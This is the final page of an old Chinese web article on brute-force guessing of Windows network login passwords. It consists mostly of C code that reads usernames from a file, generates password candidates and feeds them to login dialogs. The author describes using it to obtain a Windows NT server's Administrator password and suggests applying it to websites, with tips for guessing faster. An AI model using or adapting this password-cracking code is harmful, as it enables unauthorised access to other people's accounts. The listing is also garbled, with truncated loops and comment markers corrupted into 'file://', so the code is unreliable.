WEB开发网
开发学院操作系统Windows XP Windows网络用户登录密码的猜解 阅读

Windows网络用户登录密码的猜解

 2007-08-13 09:06:57 来源:WEB开发网   
核心提示: UINT GetNextUserF(FILE *file){char cUser[MAX_LINELENGTH ],*token;FILE *fUser;int i,flag=0;if(NULL==(fUser=fopen(sUserRoad,"r+"))) file:
UINT GetNextUserF(FILE *file)
{
char cUser[MAX_LINELENGTH ],*token;
FILE *fUser;
int i,flag=0;
if(NULL==(fUser=fopen(sUserRoad,"r+"))) file://sUserRoad:是保存用户名的路径及文件名
{
MessageBox(GetActiveWindow(),"打开文件时出错。","消息",0);
if(fUser!=NULL)fclose(fUser);
return 0;
}
while(!feof(fUser))
{
for(i=0;i
if(NULL==fgets(cUser,MAX_LINELENGTH,fUser))
{
bCheckUser=FALSE;//记录用户名枚举完
fclose(fUser);
return 0;
}
token=strtok(cUser,SETPRATE);// #define SETPRATE "   
"
do
{
WaitForSingleObject(gEventNextUser,INFINITE);
// 等待“新用户名”事件
gEventNextUser.ResetEvent();//复位。
for(i=0;i
strcpy(cCurrentUser,token);//改变当前用户名。
gEventUserOk.SetEvent();//发送“用户名完成”事件
}while((token=strtok(NULL,SETPRATE))!=NULL);
}
return 1;
}

5.密码枚举:

UINT GetNextPassL(LPVOID pParam)
{
int i,j,iPre;
char cBuf[MAX_PASSWORD_LENGTH];
BEGIN:
for(int m=0;m
{
file://char cCurrentCharList[MAX_CHARLIST_LENGTH]:当前密码组成字符集合列表
file://例如:cCurrentCharList =“abcd”:表示枚举的密码由abcd组成
file://int cCurrentPCList[MAX_CHARLIST_LENGTH]:指向当前密码
file://组成字符集合列表的列表
file://例如:4444:表示生成密码为“dddd”,
file://4231:表示生成密码为“dbca”......
cCurrentPCList[m]= iCharCount;
// iCharCount:密码组成字符的字符个数
}
while( cCurrentPCList[0]>=0)//如果CurList.cCurrentPCList[0]<0 结束
{
for(int n=0;n
while(1)
{
for(i=0;i
{
cBuf[i]=cCurrentCharList[cCurrentPCList[i]];
}
WaitForSingleObject(gEventNextPass,INFINITE);
// 等待“新密码”事件
gEventNextPass.ResetEvent();//复位。
for(int n=0;n
strcpy( cCurrentPass,cBuf);//改变当前密码。
gEventPassOk.SetEvent();//送密码完成事件
file://进行cCurrentPCList数组的处理。
if(( cCurrentPCList[i-1]--)==0)break;
}
file://最后一位复iCharCount;;
cCurrentPCList[i-1]= iCharCount;
iPre=1;//借位标志
for(j=i-2;j>=0;j--)
{
if(( cCurrentPCList[j]-=iPre)<0)
{
if(j==0)break;//结束。
cCurrentPCList[j]= iCharCount;iPre=1;//复位J,向上借位。
}
else {iPre=0;continue;}//不必再向上借位。
}
}
if(cCurrentPCList[0]<=0)
{
file://复位,进入下一个循环。
if(!bCheckUser)//如果用户名枚举完
{
MessageBox(GetActiveWindow(),"所有的用户名及密码已枚举完。","消息",0);
return 0;
}
gEventNextUser.SetEvent();//发送“新用户名”事件
WaitForSingleObject(gEventUserOk,INFINITE);
file://等待“用户名完成”事件
gEventUserOk.ResetEvent();//复位。
goto BEGIN;
}
return 0;
}

二、在局域网及互连网的应用:

笔者利用按照以上算法编写的软件,在一个局域网的WindowsNT工作站上成功地取得了另一台WindowsNT 服务器的Administrator的密码。同样们也可以利用这一算法编写猜解互连网上密码的软件。关键的问题是如何在网页中定位用户名输入框和密码输入框以及“确定”按钮。

三、存在的问题及解决办法:

在10M/100M局域网里,登录WindowsNT服务器失败后,大约0.7秒钟左右后,才再次弹出网络登录对话框。这一个时间开销严重地制约着猜解的速度。折衷的解决办法是通过“资源管理器”同时打开多个网络登录对话框(从“网络邻居”只能打开一个网络登录对话框),这样可成倍提高猜解的速度,但仍是太慢。此外,可利用几台计算机同时猜解。至于猜解互连网上密码,其速度可想而知了。不过也没关系,许多的密码是数字组成的,更多的密码没有超出26个字符加10个数字的范围。而且人们使用这26个字符和10个数字的频率是不一样的,可以在枚举时先枚举使用频率高的。

上一页  1 2 3 

Tags:Windows 网络 用户

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接